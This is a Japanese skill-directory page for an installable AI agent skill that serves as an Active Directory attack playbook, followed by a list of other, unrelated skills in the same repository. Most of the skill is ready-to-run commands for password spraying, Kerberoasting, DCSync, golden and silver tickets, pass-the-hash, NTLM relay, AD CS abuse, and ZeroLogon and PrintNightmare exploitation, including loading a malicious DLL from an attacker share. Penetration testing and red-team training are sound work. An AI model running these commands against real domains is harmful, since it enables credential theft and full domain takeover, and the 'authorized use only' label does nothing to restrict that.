Communitygithub.com

SamuelChien/mega-skills-collection

Microsoft Active Directory環境への攻撃手法を包括的に提供します。偵察、資格情報収集、Kerberos攻撃、水平移動、特権昇格、ドメイン支配をカバーし、レッドチーム運用やペネトレーションテストに活用します。

mega-skills-collection とは?

このスキルは、Microsoft Active Directory環境に対する攻撃手法を網羅的に解説したリファレンスです。主にレッドチーム演習やペネトレーションテストを目的としており、偵察、資格情報収集、Kerberos攻撃、水平移動、特権昇格、ドメイン支配といった攻撃の全段階をカバーします。BloodHoundやImpacket、Mimikatz、Rubeus、CrackMapExecといった主要なツールの具体的なコマンド例を豊富に含み、KerberoastingやAS-REPロースティング、DCSync攻撃、ゴールデンチケット/シルバーチケット攻撃、NTLMリレー攻撃、Active Directory証明書サービス(AD CS)の悪用、さらにはZeroLogon(CVE-2020-1472)やPrintNightmare(CVE-2021-1675)などの重要なCVE悪用手法も解説しています。実行には適切な認可とドメインユーザー資格情報が必要であり、常に時間同期やSMB署名チェックなどの前提条件を満たす必要があります。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/SamuelChien/mega-skills-collection/tree/HEAD/active-directory-attacks

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

認可された使用のみ:このスキルは、認可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。

Active Directory攻撃

目的

Microsoft Active Directory環境への攻撃手法を包括的に提供します。偵察、資格情報収集、Kerberos攻撃、水平移動、特権昇格、ドメイン支配をカバーし、レッドチーム運用やペネトレーションテストに活用します。

入力/前提条件

  • Kali Linux または Windows 攻撃プラットフォーム
  • ドメインユーザー資格情報(ほとんどの攻撃に必要)
  • ドメインコントローラへのネットワークアクセス
  • ツール:Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec

出力/成果物

  • ドメイン列挙データ
  • 抽出された資格情報とハッシュ
  • なりすまし用Kerberosチケット
  • ドメイン管理者アクセス
  • 永続的なアクセス手段

必須ツール

ツール目的
BloodHoundAD攻撃パスの可視化
ImpacketPython製AD攻撃ツール
Mimikatz資格情報抽出
RubeusKerberos攻撃
CrackMapExecネットワーク悪用
PowerViewAD列挙
ResponderLLMNR/NBT-NSポイズニング

コアワークフロー

ステップ1:Kerberosクロック同期

Kerberosはクロック同期を必要とします(±5分以内):

# クロックスキューを検出
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Linuxでクロックを修正
sudo date -s "14 APR 2024 18:25:16"

# Windowsでクロックを修正
net time /domain /set

# システム時刻を変更せずに偽装
faketime -f '+8h' <command>

ステップ2:BloodHoundを使ったAD偵察

# BloodHoundを起動
neo4j console
bloodhound --no-sandbox

# SharpHoundでデータ収集
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Pythonコレクター(Linuxから)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

ステップ3:PowerView列挙

# ドメイン情報を取得
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# ユーザーを列挙
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# グループを列挙
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# ローカル管理者アクセスを検索
Find-LocalAdminAccess -Verbose

# ユーザーハンティング
Invoke-UserHunter
Invoke-UserHunter -Stealth

資格情報攻撃

パスワードスプレー攻撃

# kerbruteを使用
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# CrackMapExecを使用
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

サービスアカウントのTGSチケットを抽出し、オフラインで解読:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# hashcatで解読
hashcat -m 13100 hashes.txt rockyou.txt

AS-REPロースティング

「Kerberos事前認証を必要としない」アカウントを標的に:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# hashcatで解読
hashcat -m 18200 hashes.txt rockyou.txt

DCSync攻撃

DCから直接資格情報を抽出(ディレクトリ変更のレプリケート権限が必要):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberosチケット攻撃

Pass-the-Ticket(ゴールデンチケット)

krbtgtハッシュを使用して任意のユーザーのTGTを偽造:

# 最初にDCSyncでkrbtgtハッシュを取得
# Mimikatz - ゴールデンチケットを作成
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

シルバーチケット

特定のサービスのTGSを偽造:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

NTLMハッシュをKerberosチケットに変換:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLMリレー攻撃

Responder + ntlmrelayx

# Responderを起動(リレー用にSMB/HTTPを無効化)
responder -I eth0 -wrf

# リレーを開始
ntlmrelayx.py -tf targets.txt -smb2support

# 委任攻撃用のLDAPリレー
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB署名確認

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

証明書サービス攻撃(AD CS)

ESC1 - 誤設定されたテンプレート

# 脆弱なテンプレートを検索
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# ESC1を悪用
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# 証明書で認証
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Web登録リレー

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

重要なCVE

ZeroLogon(CVE-2020-1472)

# 脆弱性確認
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# 悪用
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# ハッシュ抽出
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# パスワード復元(重要!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare(CVE-2021-1675)

# 脆弱性確認
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# 悪用(悪意のあるDLLをホストする必要あり)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'

samAccountName Spoofing(CVE-2021-42278/42287)

# 自動化された悪用
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

クイックリファレンス

攻撃ツールコマンド
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
Pass-the-Hashpsexecpsexec.py domain/user@target -hashes :HASH
ゴールデンチケットMimikatzkerberos::golden /user:Admin /krbtgt:HASH
スプレー攻撃kerbrutekerbrute passwordspray -d domain users.txt Pass

制約

必須事項:

  • Kerberos攻撃前にDCと時刻を同期する
  • ほとんどの攻撃に有効なドメイン資格情報が必要
  • すべての侵害アカウントを文書化する

禁止事項:

  • 過度なパスワードスプレーでアカウントをロックアウトしない
  • 承認なしに本番ADオブジェクトを変更しない
  • ゴールデンチケットを文書化せずに残さない

推奨事項:

  • BloodHoundを実行して攻撃パスを発見する
  • リレー攻撃の前にSMB署名を確認する
  • CVE悪用の前にパッチレベルを確認する

例

例1:Kerberoastingによるドメイン侵害

# 1. SPNを持つサービスアカウントを検索
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. TGSチケットを要求
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. チケットを解読
hashcat -m 13100 tgs.txt rockyou.txt

# 4. 解読したサービスアカウントを使用
psexec.py domain.local/svc_admin:[email protected]

例2:NTLMリレーからLDAPへ

# 1. LDAPをターゲットにしたリレーを開始
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. 認証をトリガー(例:PrinterBug経由)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. 作成されたマシンアカウントをRBCD攻撃に使用

トラブルシューティング

問題解決策
クロックスキューが大きすぎるDCと時刻を同期するか、faketimeを使用
Kerberoastingが空を返すSPNを持つサービスアカウントがない
DCSyncアクセス拒否ディレクトリ変更のレプリケート権限が必要
NTLMリレー失敗SMB署名を確認し、LDAPターゲットを試す
BloodHoundが空コレクターが正しい資格情報で実行されたか確認

追加リソース

委任攻撃、GPO悪用、RODC攻撃、SCCM/WSUS展開、ADCS悪用、信頼関係、Linux AD統合などの高度な技術については、references/advanced-attacks.mdを参照してください。

使用タイミング

このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用されます。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

SamuelChien/mega-skills-collection

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

SamuelChien/mega-skills-collection

Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.

SamuelChien/mega-skills-collection

Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.

SamuelChien/mega-skills-collection

Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.

SamuelChien/mega-skills-collection

2D game development principles. Sprites, tilemaps, physics, camera.

SamuelChien/mega-skills-collection

3D game development principles. Rendering, shaders, physics, cameras.

SamuelChien/mega-skills-collection

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences.

SamuelChien/mega-skills-collection

Accessibility audit skill for scanning, fixing, and verifying WCAG 2.2 Level A and AA compliance across React, Next.js, Vue, Angular, Svelte, and plain HTML codebases. Use when auditing accessibility, fixing a11y violations, checking color contrast, generating compliance reports, or integrating accessibility checks into CI/CD pipelines.

SamuelChien/mega-skills-collection

Ab Test Analyzer - Auto-activating skill for Data Analytics. Triggers on: ab test analyzer, ab test analyzer Part of the Data Analytics skill category.

SamuelChien/mega-skills-collection

A B Test Config Creator - Auto-activating skill for ML Deployment. Triggers on: a b test config creator, a b test config creator Part of the ML Deployment skill category.

SamuelChien/mega-skills-collection

When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "conversion experiment," "statistical significance," or "test this." For tracking implementation, see analytics-tracking.

SamuelChien/mega-skills-collection

Acceptance Criteria Creator - Auto-activating skill for Enterprise Workflows. Triggers on: acceptance criteria creator, acceptance criteria creator Part of the Enterprise Workflows skill category.

SamuelChien/mega-skills-collection

Use when a coding task should be driven end-to-end from issue intake through implementation, review, deployment, and acceptance verification with minimal human re-intervention.

SamuelChien/mega-skills-collection

Accessibility Audit Runner - Auto-activating skill for Frontend Development. Triggers on: accessibility audit runner, accessibility audit runner Part of the Frontend Development skill category.

SamuelChien/mega-skills-collection

You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.

SamuelChien/mega-skills-collection

Web accessibility patterns for WCAG 2.2 compliance including ARIA, keyboard navigation, screen readers, and testing

SamuelChien/mega-skills-collection

Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed, or change policy for the Discord channel.

SamuelChien/mega-skills-collection

Create unified specification packages across Business, Development, and Design teams. Staged elaboration (L0 Vision → L1 Requirements → L2 Team Detail → L3 Acceptance Criteria) to build shared understanding. Does not write code.

SamuelChien/mega-skills-collection

Research a company or person and get actionable sales intel. Works standalone with web search, supercharged when you connect enrichment tools or your CRM. Trigger with "research [company]", "look up [person]", "intel on [prospect]", "who is [name] at [company]", or "tell me about [company]".

SamuelChien/mega-skills-collection

Validate messaging consistency across website, GitHub repos, and local documentation generating read-only discrepancy reports. Use when checking content alignment or finding mixed messaging. Trigger with phrases like "check consistency", "validate documentation", or "audit messaging".

関連スキル